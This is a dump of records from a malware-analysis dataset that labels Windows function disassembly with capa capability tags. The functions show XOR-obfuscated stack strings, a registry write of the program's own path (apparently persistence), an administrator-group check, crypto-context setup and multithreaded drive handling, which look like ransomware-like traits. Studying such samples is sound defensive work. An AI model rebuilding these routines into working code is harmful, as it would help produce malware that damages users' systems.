joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407957
Capabilities:
Create thread
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
cmp dword [0x411d34], 0
jne 0x407ac1
cmp dword [0x411ac4], 0
jne 0x407ac1
cmp dword [0x411afc], 0
jne 0x407ac1
push ebx
xor ebx, ebx
push esi
mov dword [0x411d2c], ebx
call fcn.00406cd5
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x407a7a
push 0x100
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x4079cd
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [0x411b10], eax
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x411afc], eax
test eax, eax
je 0x407a95
push 0x411ac8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, 0x411b00
mov dword [0x411b00], ebx
mov dword [0x411b04], ecx
mov dword [0x411b08], ebx
mov dword [0x411b0c], 0x411b08
mov dword [0x411abc], ebx
mov dword [0x411ac0], 0x411abc
call fcn.00406d43
test eax, eax
je 0x407a7a
push ebx
push ebx
push ebx
push 0x406fca
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x411ac4], eax
cmp eax, 0xffffffff
je 0x407a7a
push ebx
push ebx
push ebx
push 0x407294
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x411d34], eax
cmp eax, 0xffffffff
je 0x407a7a
push ebx
push 1
push ebx
push dword [0x411afc]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 2
xor edx, edx
pop ecx
call fcn.0040d269
jmp 0x407abf
cmp dword [0x411afc], ebx
je 0x407a95
push 0x411ac8
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push dword [0x411afc]
call esi
mov eax, dword [0x411ac4]
test eax, eax
je 0x407aa1
push eax
call esi
mov eax, dword [0x411d34]
test eax, eax
je 0x407aad
push eax
call esi
mov dword [0x411d34], ebx
mov dword [0x411ac4], ebx
mov dword [0x411afc], ebx
pop esi
pop ebx
leave
ret

Function at 0x407aeb
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x411afc]
test eax, eax
je 0x407b01
push 0
push 4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor ecx, ecx
jmp fcn.00407ac3

Function at 0x407b14
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xd
jb 0x407b16
mov byte [ecx + 0xd], 0
mov eax, ecx
ret
Function at 0x407b9b
Capabilities:
Encode data using xor
Get hostname
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa64
movaps xmm0, xmmword [0x401d90]
movups xmmword [ebp - 0x46], xmm0
push ebx
movaps xmm0, xmmword [0x401c60]
xor ebx, ebx
movups xmmword [ebp - 0x36], xmm0
mov eax, ebx
mov word [ebp - 0x16], 0x55
movaps xmm0, xmmword [0x401ee0]
push esi
push edi
movups xmmword [ebp - 0x26], xmm0
xor byte [ebp + eax - 0x46], 0x55
inc eax
cmp eax, 0x31
jb 0x407bd2
xor esi, esi
mov byte [ebp - 0x15], bl
inc esi
lea ecx, [ebp - 0x46]
mov edx, esi
call fcn.00407b27
test eax, eax
je 0x407d50
lea eax, [ebp - 8]
mov edi, 0x100
push eax
lea eax, [ebp - 0x860]
mov dword [ebp - 8], edi
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x407d50
mov dword [ebp - 4], 0x555509
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x407c1f
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [ebp - 0x860]
lea eax, [ecx + eax*2]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x407d50
mov ecx, edi
call fcn.00406c20
mov dword [0x411d54], eax
test eax, eax
je 0x407d50
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], edi
push ecx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push ecx
lea ecx, [ebp - 0xa60]
push ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
lea eax, [ebp - 0x860]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x407d3b
push esi
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x407d3b
push ebx
push ebx
push esi
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x407d3b
push ebx
push dword [0x411d54]
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
test eax, eax
je 0x407d3b
push 0x20
pop ecx
mov eax, 0x411d58
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x407ceb
push dword [0x411d54]
push 0x411d64
call dword [sym.imp.ADVAPI32.dll_BuildTrusteeWithSidW]
push 0x411d3c
mov dword [0x411d58], 0x10000000
mov dword [0x411d5c], 2
mov dword [0x411d60], 3
mov dword [0x411d6c], ebx
mov dword [0x411d70], esi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x407d50
mov ecx, dword [0x411d54]
test ecx, ecx
je 0x407d50
call fcn.00406cc5
mov dword [0x411d54], ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407d55
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
movaps xmm0, xmmword [0x401d90]
xor eax, eax
movups xmmword [ebp - 0x32], xmm0
mov word [ebp - 2], 0x55
movaps xmm0, xmmword [0x401c60]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401ee0]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x31
jb 0x407d84
xor edx, edx
mov byte [ebp - 1], 0
lea ecx, [ebp - 0x32]
call fcn.00407b27
mov ecx, dword [0x411d54]
test ecx, ecx
je 0x407dbe
call fcn.00406cc5
and dword [0x411d54], 0
push 0x411d3c
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
leave
ret

Function at 0x407fe3
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, dword [0x41205c]
push esi
push edi
push ebx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [ebx + 0x18]
xor edi, edi
mov dword [ebp - 4], edi
test esi, esi
je 0x40811c
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0xc], 0x556b5578
xor eax, eax
mov word [ebp - 8], 0x55
xor byte [ebp + eax - 0xc], 0x55
inc eax
cmp eax, 5
jb 0x408021
lea eax, [ebp - 0xc]
mov byte [ebp - 7], 0
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x40804b
xor edi, edi
inc edi
mov dword [ebp - 4], edi
jmp 0x40810e
cmp dword [esi + 8], 0
jne 0x40810b
mov eax, dword [ebp + 8]
test dword [esi + 4], eax
je 0x40810b
push 0x20
pop ecx
call fcn.00406c20
mov edi, eax
test edi, edi
je 0x40810b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 0xa]
call fcn.00406c20
mov ecx, eax
mov dword [edi], ecx
test ecx, ecx
je 0x408104
mov eax, dword [esi]
cmp word [eax + 2], 0x3a
jne 0x4080c2
mov dword [ebp - 0x1a], 0x55095509
xor eax, eax
mov dword [ebp - 0x16], 0x5509556a
mov word [ebp - 0x12], 0x55
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 9
jb 0x4080ae
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1a]
jmp 0x4080c7
mov eax, 0x401af8
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [esi]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [edi + 0x18]
and dword [ecx], 0
mov eax, dword [ebx + 0x1c]
mov dword [edi + 0x1c], eax
mov eax, dword [ebx + 0x1c]
push ebx
mov dword [eax], edi
mov dword [ebx + 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [esi + 8], 1
jmp 0x40810b
mov ecx, edi
call fcn.00406cc5
mov edi, dword [ebp - 4]
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x408012
mov ebx, dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408149
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movaps xmm0, xmmword [0x401c20]
movups xmmword [ebp - 0x36], xmm0
push ebx
movaps xmm0, xmmword [0x401be0]
xor ebx, ebx
movups xmmword [ebp - 0x26], xmm0
mov eax, ebx
mov dword [ebp - 6], 0x30313c23
movaps xmm0, xmmword [0x401c40]
push esi
movups xmmword [ebp - 0x16], xmm0
mov word [ebp - 2], 0x27
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0x35
jb 0x408183
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
lea eax, [ebp - 0x36]
push 0xf0000000
push 0x18
push eax
push ebx
push 0x411d7c
mov byte [ebp - 1], bl
call esi
test eax, eax
jne 0x4082c3
movaps xmm0, xmmword [0x401c20]
mov eax, ebx
movups xmmword [ebp - 0x36], xmm0
mov dword [ebp - 6], 0x30313c23
movaps xmm0, xmmword [0x401be0]
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 2], 0x27
movaps xmm0, xmmword [0x401c40]
movups xmmword [ebp - 0x16], xmm0
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0x35
jb 0x4081e2
push 0xf0000008
push 0x18
lea eax, [ebp - 0x36]
mov byte [ebp - 1], bl
push eax
push ebx
push 0x411d7c
call esi
test eax, eax
jne 0x4082c3
movaps xmm0, xmmword [0x401c20]
mov eax, ebx
movups xmmword [ebp - 0x42], xmm0
mov word [ebp - 2], 0x7c
movaps xmm0, xmmword [0x401be0]
movups xmmword [ebp - 0x32], xmm0
movaps xmm0, xmmword [0x401c40]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401c00]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x42], 0x55
inc eax
cmp eax, 0x41
jb 0x40823f
push 0xf0000000
push 0x18
lea eax, [ebp - 0x42]
mov byte [ebp - 1], bl
push eax
push ebx
push 0x411d7c
call esi
test eax, eax
jne 0x4082c3
movaps xmm0, xmmword [0x401c20]
mov eax, ebx
movups xmmword [ebp - 0x42], xmm0
mov word [ebp - 2], 0x7c
movaps xmm0, xmmword [0x401be0]
movups xmmword [ebp - 0x32], xmm0
movaps xmm0, xmmword [0x401c40]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401c00]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x42], 0x55
inc eax
cmp eax, 0x41
jb 0x408298
push 0xf0000008
push 0x18
lea eax, [ebp - 0x42]
mov byte [ebp - 1], bl
push eax
push ebx
push 0x411d7c
call esi
neg eax
sbb eax, eax
and dword [0x411d7c], eax
pop esi
pop ebx
leave
ret
Function at 0x4082c7
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1394
call fcn.0040d700
push ebx
push esi
push edi
mov esi, ecx
push eax
push edx
xor eax, eax
xor edx, edx
rdtsc
mov dword [0x411d78], eax
pop edx
pop eax
or dword [ebp - 0xc], 0xffffffff
xor edx, edx
mov ecx, dword [0x411d78]
inc edx
mov dword [ebp - 0x138c], ecx
mov edi, 0x270
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edx
mov dword [ebp + edx*4 - 0x138c], ecx
inc edx
cmp edx, edi
jb 0x408300
mov dword [ebp - 0x1390], edi
cmp esi, 0xffffffff
jne 0x408335
lea ecx, [ebp - 0x1390]
call fcn.004083bd
mov edx, eax
jmp 0x40836e
lea ebx, [esi + 1]
xor edi, edi
xor eax, eax
test esi, esi
je 0x408350
lea ecx, [ebp - 0x1390]
call fcn.004083bd
mov edi, eax
or eax, 0xffffffff
xor edx, edx
div ebx
mov ecx, eax
mov dword [ebp - 4], edx
xor edx, edx
mov eax, edi
div ebx
cmp eax, ecx
jb 0x408368
cmp dword [ebp - 4], esi
jne 0x408338
mov eax, edi
xor edx, edx
div ebx
pop edi
pop esi
mov eax, edx
pop ebx
leave
ret

Function at 0x408375
Capabilities:
Generate random numbers via winapi

Disassembly:
push ecx
mov eax, dword [0x411d7c]
push esi
push edi
mov edi, edx
test eax, eax
je 0x408391
push edi
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x4083a6
xor esi, esi
mov ecx, 0xff
call fcn.004082c7
mov byte [esi + edi], al
inc esi
cmp esi, 0x20
jl 0x408393
pop edi
pop esi
pop ecx
ret

Function at 0x4083bd
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x408405
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x4083cd
jmp 0x408412
cmp dword [esi], 0x4e0
jb 0x408412
call fcn.0040844c
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret
Function at 0x40844c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
lea edi, [esi + 0x9c4]
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x40845e
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd4c]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x4084a3
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, 0x7fffffff
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
and dword [esi], 0
pop esi
pop ebx
ret

Function at 0x408bb1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
xor edx, edx
push ebx
push esi
push edi
xor edi, edi
push 3
inc edi
pop ecx
mov dword [0x411ecc], edi
call fcn.0040d269
push 6
xor edx, edx
pop ecx
call fcn.0040d269
push 7
xor edx, edx
pop ecx
call fcn.0040d269
mov eax, dword [0x412054]
xor ebx, ebx
mov ecx, dword [0x411dc4]
mov esi, ebx
test eax, eax
je 0x408c25
mov edx, dword [ecx + esi*4]
test edx, edx
je 0x408c20
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x411dc4]
push dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x411dc4]
mov eax, dword [0x412054]
mov dword [ecx + esi*4], ebx
inc esi
cmp esi, eax
jb 0x408bf4
call fcn.00406cc5
push 3
mov edx, edi
mov dword [0x411dc4], ebx
pop ecx
call fcn.0040d269
push 5
mov edx, edi
pop ecx
call fcn.0040d269
push 6
mov edx, edi
pop ecx
call fcn.0040d269
push 7
mov edx, edi
pop ecx
call fcn.0040d269
movaps xmm0, xmmword [0x401f40]
mov eax, ebx
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x24], 0x55
xor byte [ebp + eax - 0x34], 0x55
inc eax
cmp eax, 0x11
jb 0x408c6b
mov eax, ebx
mov byte [ebp - 0x23], bl
cmp dword [0x411d80], ebx
je 0x408ca1
movaps xmm0, xmmword [0x401bc0]
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], 0x55
inc eax
cmp eax, 0xf
jb 0x408c8e
mov byte [ebp - 1], bl
lea eax, [ebp - 0x10]
jmp 0x408cc3
movaps xmm0, xmmword [0x401f00]
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0x55
xor byte [ebp + eax - 0x22], 0x55
inc eax
cmp eax, 0x11
jb 0x408cb2
mov byte [ebp - 0x11], bl
lea eax, [ebp - 0x22]
lea ecx, [ebp - 0x34]
push ecx
push eax
call fcn.0040d3d8
pop ecx
pop ecx
pop edi
pop esi
mov dword [0x411ecc], ebx
xor eax, eax
pop ebx
leave
ret 4
Function at 0x408cde
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [0x41205c], ecx
mov ecx, 0x412030
push ebx
push esi
call fcn.00407e75
mov ecx, 0x411d88
call fcn.00407e75
mov ecx, 0x412010
call fcn.00407e75
mov edx, 0x40e8b9
mov ecx, 0x412058
call fcn.004022b0
mov edx, 0x40e0b1
mov ecx, 0x411ec8
call fcn.004022b0
mov edx, 0x40e4b5
mov ecx, 0x411d84
call fcn.004022b0
push 0x411dac
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor ebx, ebx
cmp dword [0x40fcc1], ebx
je 0x408d73
mov esi, 0x40fcc5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x408d73
mov eax, dword [0x40fcc1]
inc eax
push eax
push 0x411ed0
push 0xffffffffffffffff
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movaps xmm0, xmmword [0x401b20]
mov eax, ebx
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], 0x55
inc eax
cmp eax, 0xf
jb 0x408d80
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x10]
push eax
push 0x411dc8
mov byte [ebp - 1], bl
call esi
movaps xmm0, xmmword [0x401f90]
mov eax, ebx
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0x55385530
mov dword [ebp - 8], 0x5527553a
mov dword [ebp - 4], 0x55552c
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0x1b
jb 0x408dc1
lea eax, [ebp - 0x1c]
mov byte [ebp - 1], bl
push eax
push 0x411e08
call esi
movaps xmm0, xmmword [0x401e20]
mov eax, ebx
movups xmmword [ebp - 0x14], xmm0
mov dword [ebp - 4], 0x555526
xor byte [ebp + eax - 0x14], 0x55
inc eax
cmp eax, 0x13
jb 0x408dee
lea eax, [ebp - 0x14]
mov byte [ebp - 1], bl
push eax
push 0x412060
call esi
movaps xmm0, xmmword [0x401fa0]
mov eax, ebx
movups xmmword [ebp - 0x14], xmm0
mov dword [ebp - 4], 0x555539
xor byte [ebp + eax - 0x14], 0x55
inc eax
cmp eax, 0x13
jb 0x408e1b
lea eax, [ebp - 0x14]
mov byte [ebp - 1], bl
push eax
push 0x411e88
call esi
movaps xmm0, xmmword [0x401b70]
mov eax, ebx
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], 0x55
inc eax
cmp eax, 0xf
jb 0x408e41
lea eax, [ebp - 0x10]
mov byte [ebp - 1], bl
push eax
push 0x411e48
call esi
movaps xmm0, xmmword [0x401b10]
mov eax, ebx
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], 0x55
inc eax
cmp eax, 0xf
jb 0x408e67
lea eax, [ebp - 0x10]
mov byte [ebp - 1], bl
push eax
push 0x411fd0
call esi
pop esi
pop ebx
leave
ret
Function at 0x408ee1
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0x411dc4], 0
jne 0x408fa7
push esi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
imul ecx, dword [ebp - 0x10], 6
xor esi, esi
mov dword [0x411d80], esi
mov dword [0x411da8], esi
mov dword [0x412054], ecx
shl ecx, 2
mov dword [0x412050], esi
call fcn.00406c20
mov dword [0x411dc4], eax
test eax, eax
je 0x408fa6
push edi
mov ecx, 0x412030
call fcn.00407e98
mov ecx, 0x411d88
call fcn.00407e98
mov ecx, 0x412010
call fcn.00407e98
mov eax, dword [ebp - 0x10]
mov edi, esi
add eax, eax
je 0x408f9d
push esi
push esi
push esi
push 0x408517
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x411dc4]
mov dword [ecx + edi*4], eax
inc edi
mov eax, dword [ebp - 0x10]
add eax, eax
cmp edi, eax
jb 0x408f56
jmp 0x408f9d
xor ecx, ecx
lea eax, [edi + 1]
push ecx
push ecx
and eax, 1
push eax
push 0x40880c
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x411dc4]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, dword [0x412054]
jb 0x408f7b
pop edi
pop esi
leave
ret

Function at 0x408fda
Capabilities:
Create thread

Disassembly:
cmp dword [0x411d80], 0
jne 0x408ffe
push 5
xor edx, edx
pop ecx
call fcn.0040d269
and dword [0x411da8], 0
mov dword [0x411d80], 1
xor ecx, ecx
jmp fcn.00408fa9

Function at 0x409011
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x1b
jb 0x409013
mov byte [ecx + 0x1b], 0
mov eax, ecx
ret

Function at 0x409024
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x11
jb 0x409026
mov byte [ecx + 0x11], 0
mov eax, ecx
ret

Function at 0x409037
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call fcn.00409a5f
cmp eax, 2
jbe 0x409077
mov dword [ebp - 6], 0x5578557e
xor eax, eax
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 6], 0x55
inc eax
cmp eax, 5
jb 0x409058
movzx eax, word [esi + 4]
cmp ax, word [ebp - 6]
je 0x409077
cmp ax, word [ebp - 4]
jne 0x409077
xor eax, eax
jmp 0x40907a
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x409735
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
mov dword [ebp - 0xc], ecx
xor ebx, ebx
push esi
mov ecx, 0x10000
call fcn.00406c20
mov esi, eax
test esi, esi
je 0x40989b
mov dword [ebp - 4], 0x555577
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40975f
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x7fff
lea eax, [esi + 2]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x409894
mov dword [ebp - 0x18], 0x55755577
mov eax, ebx
mov dword [ebp - 0x14], 0x5503557a
mov dword [ebp - 0x10], 0x555578
xor byte [ebp + eax - 0x18], 0x55
inc eax
cmp eax, 0xb
jb 0x4097a7
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x18]
push eax
push esi
mov byte [ebp - 0xd], bl
call edi
movaps xmm0, xmmword [0x401c30]
mov eax, ebx
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x28], 0x3003213b
movaps xmm0, xmmword [0x401c10]
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0x3a3c2627
mov dword [ebp - 0x20], 0x2007093b
mov word [ebp - 0x1c], 0x3b
xor byte [ebp + eax - 0x48], 0x55
inc eax
cmp eax, 0x2d
jb 0x4097f6
lea eax, [ebp - 8]
mov byte [ebp - 0x1b], bl
push eax
lea eax, [ebp - 0x48]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x409893
mov dword [ebp - 4], 0x55552e
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x409824
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp - 0xc]
lea eax, [ebp - 0x68]
push eax
call edi
mov dword [ebp - 4], 0x555528
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x409852
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x68]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 1
push ebx
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
neg eax
sbb ebx, ebx
inc ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov ecx, esi
call fcn.00406cc5
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x4098a1
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2d
jb 0x4098a3
mov byte [ecx + 0x2d], 0
mov eax, ecx
ret

Function at 0x4098b4
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
mov word [ebp - 0xc], 0x500
lea eax, [ebp - 8]
mov dword [ebp - 4], ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x409908
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 8]
neg eax
sbb eax, eax
and dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 4]
pop ebx
leave
ret